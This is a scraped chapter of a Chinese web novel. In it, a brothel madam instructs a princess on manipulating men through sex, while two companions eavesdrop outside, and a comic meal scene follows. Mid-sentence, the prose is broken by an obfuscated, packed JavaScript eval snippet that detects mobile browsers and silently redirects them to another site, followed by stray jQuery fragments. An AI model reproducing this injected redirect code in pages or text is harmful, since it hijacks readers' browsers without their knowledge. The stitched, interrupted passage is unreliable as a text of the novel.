41. 第41章
作品:《捧观音》 顾平与乌尔珠被猛得推出来,二人踉跄两步,方才站稳,便听身后嘭得一声。
门关上了。
屋内。
知书正用自带的茶水杯盏给赵玄真泡茶,赵玄真则亲自拿着墨条磨墨。
老鸨拍拍手,立立衣领朝着二人走过去,口中道:“这种事怎么能让男人听见。”
赵玄真与知书面上都有些发热,二人偷偷交换了个眼神,没有做声。
哪怕把他们关在门外,但以他们二人的耳力,他们必能还是听得清清楚楚。
不光他们听得见,那些守在附近的暗卫们也必定听得清清楚楚。
赵玄真表面淡定地磨好墨,她面朝老鸨,给她递过去一杯茶,恭敬道:“花姨,请您赐教。”
花姨接过茶闻了闻茶香,眼中瞬间写满惊艳。
这样好的茶必定不是宫外能有的,花姨若有所思地看着赵玄真。
花姨一笑,道:“既然如比,我便也托回大,也当回老师。”
她瞧着赵玄真与知书笑道:“你们都是些好人家的年轻姑娘,不经人事,也没怎么见过男人,所以不清楚。”
“男人啊,就是贱,你越是把他当成人看,他就越是不在乎你,你得呀,”花姨语气一顿,笑道:“把他当成狗训。”
“他想要什么,你就偏不能轻易给他什么,你得吊着他,他才会一直缠着你、爱着你、什么都依你……”
门外的乌尔珠听见这话极为不满,当即就要冲进去跟花姨理论,却被红着脸的顾平按住。
顾平冲着乌尔珠比划了一个噤声的手势,示意他稍安勿躁。
“这教的都是些什么啊!”乌尔珠冲着顾平使眼色,无声道:“她把我们九殿下都教坏了!”
顾平没说话,只是依然牢牢地抓着他。
乌尔珠一愣,余光瞥见顾平红透了的耳朵,一时间有些不敢相信地作着口型道:“九……九殿下真喜欢这样。”
顾平摇了摇头,无声道:“不知道。”
随后他又加了一句:“不过她小时候确实挺喜欢狗的。”
乌尔珠慢慢地支起身体,盯着一旁木质栏杆上的一个小点缓慢地出神。
门内的赵玄真坐在椅子上,一边喝茶一边听,旁边知书握着笔记录得很认真。
花姨讲了许久,自觉也说得差不多,她看了眼日头,而后转身对着赵玄真与知书勾起一个笑容。
赵玄真瞬间心中一烫,继而脸上发红。
似乎是为了验证她得猜想,下一秒花姨开口道:“我们下面要学的东西可是比上面那些都重要。”
花姨走到书架前,从上面抽了好几本画册下来,她抱着画册走过去,将画册放在赵玄真面前的桌子上。
画册的封面还算体面,只是那名字起得实在是不堪入目,赵玄真面红耳赤,视线轻微游离。
“别害羞,”花姨的语调中带着笑,“我知道你们这些大户人家定然有负责教习此事的大妈妈,但今日我要教得可跟她们教得不一样。”
花姨当着赵玄真的面缓缓地掀开画册的封面,凌乱/交缠的人/体瞬间撞入眼帘,赵玄真下意识偏过头去,却听花姨道:
“你看都不敢看,可要怎么学呢?”
“男/欢/女/爱,原本就是自然而然地事情。”
“后世谈此色变,视此为羞/耻,不过是为了进一步的规束女子。”
赵玄真闻言一愣,却又听花姨道:
“女子失贞要跳河,可男子呢?没有人会在意的,他们还不是该逛青/楼的逛青/楼,该下窑子的下窑子。”
“那我们又何必为了此事而感到羞/耻呢?”花姨的目光穿透赵玄真面前的白纱,直直地盯向她,道:“男人为此痴迷。”
“而我们只要抛弃那些繁重的思想枷锁,便可以利用这一点大大方方地算计这些男人,从而获得想要的金钱……”
“……甚至是权利。”
赵玄真头脑一震,她回过头,缓慢地将目光移动到面前的图画上。
看着那些纠缠在一起的人/体,她忽然间感到有些悲哀。
不管是追求金钱,还是追求权利,她们都应当拥有与男子同等的资格,而不是学着如何从他人身上讨要算计。
“将它当成你向上的藤蔓,”花姨轻轻道,“爬上去,你会拥有你想要的一切。”
赵玄真眼眸低垂,她的手缓慢地抚摸图片上的人物。
她再不满意,目前也只能这样。
“花姨,”赵玄真淡声道:“您说的对。”
“请您继续吧。”
东边的太阳逐渐移动到天空中央,花姨的教学结束,赵玄真匆匆忙忙地从房间里出来,在路过守在门口的顾平和乌尔珠时,她更是脚步凌乱地差点原地摔跤。
乌尔珠面红耳赤脚步凌乱地跟上去,只有顾平还记挂着礼节朝花姨辞别道谢。
离开香玉坊,一行人沉默地往前走,前往皇帝赐给赵玄真的大酒楼用午膳。
席间顾平与乌尔珠相处得十分和谐,乌尔珠觉得顾平最近用脑过度,所以亲切地给他点了一道炭烧荤豆花;顾平则觉得乌尔珠心率不齐怕他早衰,因为特地为他点了一份七窍玲珑心。
赵玄真笑着看这二人斗法,在表示自己不吃猪脑和下水后,赵玄真起身离开,与知书在他们隔壁单独开了一桌。
虽已经决定要放下自己的羞/耻心,但在面对顾平时,心中却还是忍不住觉得紧张,尤其是他还与自己一样听完了花姨的整场教学……
赵玄真觉得自己简直热得脸上发烫,实在是没有办法与顾平二人同桌吃饭,这才特地寻了个由头拉着知书重开一桌。
那边的顾平也是如此,见赵玄真离开,他也在心中偷偷地松了一口气。
同时他也在庆幸赵玄真太过慌乱,没有注意到香玉坊的香气与那件屋舍的香气应当是本宗,都是某种用来助兴的催/情/药。
要是让她知道此事,她对皇帝的恨意必定会更上一层。
她此时势单力薄,过重的恨意只会让她陷入更深的危险,因而顾平并不打算将此事告知她。
他们点的菜陆陆续续地上来了,经过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860292|189825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这一上午所有人都饥肠辘辘,此时闻着空中飘散的香气,五脏府中馋虫大动。
酒楼的菜色很不错,虽不如宫中,却还是别有一番风味。
刚开始确实觉得新鲜,可吃了几口后,赵玄真却兴致缺缺地放下了筷子。
隔壁桌地乌尔珠瞧着哼笑一声,笑她嘴叼娇气。
赵玄真还尚未表示,便见自己面前多了一份刚出炉的烧饼。
她一仰头,便见顾平眉目带笑,他将手中的烧饼往赵玄真的面前递了递,笑道:“尝尝,椒盐味的。”
烧饼上面密密麻麻洒满了芝麻,赵玄真先是动了动鼻尖闻了闻,确认这烧饼确实很香后,她这才有些犹豫地接过烧饼,掰了一小块放进嘴里慢慢的嚼。
椒盐的咸香与芝麻的芳香以及饼的面香混杂在一起,赵玄真的眼睛瞬间一亮,她忍不住又掰了一块。
两小块吃完,她很快又觉得有些腻烦,她喝了口水,揪着饼有一下没一下地嚼着。
正当这时,眼前又出现一个油纸包着的包子。
赵玄真咀嚼地动作一顿,她抬头一看,果然又是顾平。
一旁的乌尔珠简直看呆了,他愣了两秒,继而也站起身走了出去。
包子确实很香,但吃了两口便觉得有些油腻,赵玄真一手握着饼,一手捧着包子,就在此时眼前又出现了一个全新的食物。
她抬眼一看,这次不是顾平了,这次是乌尔珠。
赵玄真:“……”
躲在暗中默默观察的暗卫们也看呆了,心说真不愧是公主,吃个饭竟那么费事。
他们心中一边默默吐槽,一边尽职尽责地在手中的本子上写下:九公主一餐食白玉米饭四口、珍珠八宝鸭一口、蜜烧九层塔一口、翡翠白菜汤一勺……胡麻饼四口、肉包子两口……
这里吃一点,哪里吃一点,轮到乌尔珠的时候,赵玄真已经吃得差不多了。
她朝着乌尔珠摇摇头,示意他自己真的吃不下了。
虽心有不甘,但仔细一想,赵玄真前后确实吃了不少东西,他便也没太纠结,他拆开包着食物的油纸,直接咬了一大口。
赵玄真放下手中的烧饼和包子,正打算和喝点茶水解腻,便见顾平端来了马蹄糕。
马蹄糕晶莹剔透,滋味清甜,正式解腻的好东西,赵玄真眼睛噌得一亮,她笑着朝顾平微微点了下头。
乌尔珠:“……”
这是他忽然想起花姨上午的教导——
——“你得把他当成狗训。”
乌尔珠看向面前的赵玄真与顾平,恍惚间似乎看见顾平的身后莫名长出一条毛茸茸的狗尾巴。
同时他心中又浮现出顾平今早的回答——
——“她小时候确实挺喜欢狗的。”
乌尔珠细细地揣摩着这句话。
等他回神之时,却见赵玄真与顾平两人齐刷刷地看着自己,脸上是如出一辙的呆滞与狐疑。
乌尔珠的背上瞬间浸出一层冷汗,他一回想,这才惊觉自己方才竟情不自禁地说了两个字:
“汪汪。”

